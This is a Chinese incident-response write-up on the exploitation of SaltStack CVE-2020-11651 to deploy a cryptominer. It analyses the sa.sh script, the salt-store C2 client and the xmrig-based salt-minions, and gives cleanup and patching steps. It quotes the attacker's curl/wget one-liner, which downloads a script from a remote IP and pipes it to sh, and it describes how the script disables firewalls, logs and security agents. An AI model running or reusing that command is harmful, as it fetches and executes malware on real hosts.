描述

SaltStack是一套C/S架构的运维工具,服务端口默认为4505/4506,两个端口如果对外网开放危害非常大,黑客利用SaltStack的远程命令执行漏洞CVE-2020-11651可以直接绕过Salt-Master的认证机制,调用相关函数向Salt-Minion下发指令执行系统命令,最终导致挖矿。

现象

受害Salt-Minion机器上存在挖矿进程salt-minions

tmp目录下存在可疑二进制文件:

  • salt-store
  • salt-minions

排查

  1. 确定所有salt-master机器列表;
  2. 查看当天salt-master的日志文件/var/log/salt/minion,是否存在可疑命令执行,筛选cmdmod

  3. 找到可疑的命令执行内容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
  1. 确认SaltStack版本,是否存在漏洞CVE-2020-11651

样本分析

共三个样本:

文件名 MD5
sa.sh 204780df7dd946401d6e545a130689fb
salt-store 8ec3385e20d6d9a88bc95831783beaeb
salt-minions a28ded80d7ab5c69d6ccde4602eef861

sa.sh

这是黑客原始下载执行的脚本文件,salt-store从这里下载下载的。

该脚本执行后首先进行一些系统设置:关闭防火墙、设置ulimit、关闭防火墙、关闭watchdog告警,并且将系统syslog日志删除:

然后检测服务器上是否安装安骑士和云镜服务,有则将进程停止并下载对应的卸载脚本进行卸载操作:

之后通过netstat筛选服务器开启的端口和连接,将对应进程全部停止:

然后通过pspkillpgrepkillall筛选进程名和参数,将其对应的进程杀掉,并且还会清理cpu资源占用超过10%的进程,保证有更多的硬件资源可以利用:



之后会清理/tmp/etc/下其他挖矿进程的二进制文件:

该脚本还会清理docker运行的挖矿程序:

脚本最后会从远程下载恶意二进制文件salt-store到/tmp/var/tmp下:

download2函数中会从bitbucket下载恶意二进制文件,如果失败会调用download3函数从217.12.210.192下载:

下载之后,将包含以下字段的计划任务删除,这一步可以将其他挖矿和一些HIDS服务的守护任务删掉:

salt-store

该文件是C2客户端,从控制端接收指令执行。

运行后该程序会释放矿机文件salt-minions/tmp/下:

salt-store运行期间会和以下url进行http交互:

对该文件静态分析后,发现该程序具有如下功能,包括运行矿机、执行远端指令、端口扫描等:

从样本分析结果看,可以判定这是一个命令控制系统(C2)的客户端,程序运行之后主机会在远端上线,黑客可以登录远端给客户机下发指令启动挖矿程序。

salt-minions

salt-store运行时释放。

该文件有明显的xmrig特征:

所以该文件是一个xmrig的矿机。

清理恢复

清理步骤

  1. 停止恶意进程:kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
  2. 删除恶意文件:rm -rf /tmp/salt-* /var/tmp/salt-*

整改恢复

  1. 升级SaltStack到最新版本,修补CVE-2020-11651漏洞,升级前建议做好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com
  2. 设置SaltStack为自动更新,及时获取相应补丁;
  3. Salt Master默认监听端口(默认45054506)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;

相关链接

SaltStack漏洞导致的挖矿排查思路的更多相关文章

  1. Linux入侵类问题排查思路

    深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...

  2. Mysql 高负载排查思路

    Mysql 高负载排查思路 发现问题 top命令 查看服务器负载,发现 mysql竟然百分之两百的cpu,引起Mysql 负载这么高的原因,估计是索引问题和某些变态SQL语句. 排查思路 1. 确定高 ...

  3. 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路

    前言 处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次数过多的问题.当然,这些问题的最终导致的直观现象就是系统运行缓慢,并且有大量的报警. 本文主要针对系统运 ...

  4. Linux 服务器性能问题排查思路

    一个基于 Linux 操作系统的服务器运行的同时,也会表征出各种各样参数信息.通常来说运维人员.系统管理员会对这些数据会极为敏感,但是这些参数对于开发者来说也十分重要,尤其当你的程序非正常工作的时候, ...

  5. MySql CPU彪高到百分之1000的排查思路

    You need to enable JavaScript to run this app.   原文内容来自于LZ(楼主)的印象笔记,如出现排版异常或图片丢失等情况,可查看当前链接:https:// ...

  6. Flink on YARN(下):常见问题与排查思路

    Flink 支持 Standalone 独立部署和 YARN.Kubernetes.Mesos 等集群部署模式,其中 YARN 集群部署模式在国内的应用越来越广泛.Flink 社区将推出 Flink ...

  7. 超长可视化指南!带你理清K8S部署的故障排查思路,让bug无处遁形

    本文将帮助你厘清在Kubernetes中调试 deployment的思路.下图是完整的故障排查思路,如果你想获得更清晰的图片,请在公众号后台(RancherLabs)回复"troublesh ...

  8. FeignClient注解属性configuration不生效问题排查思路

    FeignClient注解属性configuration不生效问题排查思路 问题背景 我们知道,"如果需要自定义单个Feign配置,Feign的@Configuration 注解的类不能与@ ...

  9. Dubbo No provider问题排查思路

    本文已收录 https://github.com/lkxiaolou/lkxiaolou 欢迎star. 不想看字的同学可直接划到底部查看思维导图 问题分析 使用过Dubbo的朋友很多都碰到过如下报错 ...

随机推荐

  1. hive常用函数五

    复合类型构建操作 1. Map类型构建: map 语法: map (key1, value1, key2, value2, …) 说明:根据输入的key和value对构建map类型 举例: hive& ...

  2. go1.13errors的用法

    go1.13errors的用法 前言 基本用法 fmt.Errorf Unwrap errors.Is As 扩展 参考 go1.13errors的用法 前言 go 1.13发布了error的一些新的 ...

  3. CVE-2019-0232 远程代码执行漏洞-复现

    0x00 漏洞介绍 该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响. 该漏洞只影响Windows平台,要求启用了CGISer ...

  4. Q - QQpet exploratory park HDU - 1493 (概率DP)

    题目大意: 一共有61个位置,标记为0~60.其中有10个重要位置,分别为:5, 12, 22, 29, 33, 38, 42, 46, 50 and 55. 有一个筛子,一共6个面,标有1~6.摇到 ...

  5. MySQL的单表查询

    单表查询 单表查询语法: select distinct 字段1,字段2... from 表名 where 条件 group by field having筛选 order by 关键字执行的优先级: ...

  6. Jmeter 使用正则表达式提取响应结果中的值

    正则表达式提取的界面如下图: apply to: Main sample and sub-samples:作用于父节点取样器及对应子节点取样器Main sample only:仅作用于父节点取样器Su ...

  7. Springboot:配置文件位置以及多环境配置(六)

    配置文件位置 Springboot配置文件可以加载以下四个位置: file:./config/ #第一加载位置 file:./ #第二加载位置 classpath:/config/ #第三加载位置 c ...

  8. 美的PDF转换成Word转换器完全免费

    下载地址:百度网盘提取码:02ap 安装破解步骤:先安装主程序,末尾是full结尾的,安装完成后不要打开软件,然后接着安装破解补丁,即可破解成功! 需要的老铁们直接拿去用吧,亲测好用!有配套的功能强大 ...

  9. Java中基础类基础方法(学生类)(手机类)

    学生类: //这是我的学生类class Student { //定义变量 //姓名 String name; //null //年龄 int age; //0 //地址 String address; ...

  10. JDBC处理CLOB 和 BLOB大对象

    在数据库中: clob用于存储大量的文本数据 可以使用字符流操作 clob用于存储大量的二进制数据 可以使用字节流操作 以mysql为例 先准备一张表: CREATE TABLE `t_user2` ...